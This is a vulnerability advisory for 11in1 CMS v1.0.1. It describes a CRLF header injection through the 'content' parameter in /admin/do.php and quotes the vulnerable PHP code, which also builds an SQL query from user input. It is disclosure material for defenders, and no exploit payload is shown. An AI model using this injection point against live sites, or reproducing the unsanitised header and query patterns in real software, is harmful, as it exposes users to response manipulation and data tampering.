11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability

11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability

Vendor: 11in1
Product web page: http://www.11in1.org
Affected version: 1.0.1

Summary: Eleven in One is an open-source content management
system (CMS) that is powered by PHP and MySQL. It does not
only help you manage your personal blog but also maintain
your postings at social networks. By establishing consistency
among the data transmitted from and to the blog, this CMS
sustains continuous harmonization of your data over time.

Desc: Input passed to the 'content' parameter in 'do.php' on
line 2112 is not properly sanitised before being returned to
the user. This can be exploited to insert arbitrary HTTP
headers, which are included in a response sent to the user.

==============================================================
/admin/do.php:
--------------------------------------------------------------

2088: // update status
2089: else if(($action == "postStatus")&&($_SERVER["REQUEST_METHOD"] == "POST")&&($_SESSION['admin'] == 1))
2090: {
2091:     $content = htmlspecialchars($_POST['content']);
2092:
2093:     // Get database information
2094:     $Database = new Database;
2095:     $info = $Database->getInfo();
2096:
2097:     // connect to database
2098:     $conn = mysql_connect($info[0], $info[1], $info[2]);
2099:     mysql_select_db($info[3], $conn);
2100:
2101:     $date = date("Y-m-d H:i:s");
2102:
2103:     // clear table
2104:     $result = mysql_query("INSERT INTO 11in1_streamline (content, date) VALUES ('$content', '$date')");
2105:
2106:     // close connection to db
2107:     mysql_close($conn);
2108:
2109:     // prepare success message
2110:     $_SESSION['msg'] = array("title" => $lang_backend_request_executed, "msg" => $lang_backend_statusPosted, "url" => "streamline.php", "button" => $lang_error_goBack);
2111:
2112:     header("Location: msg.php?connect=yes&status=$content");
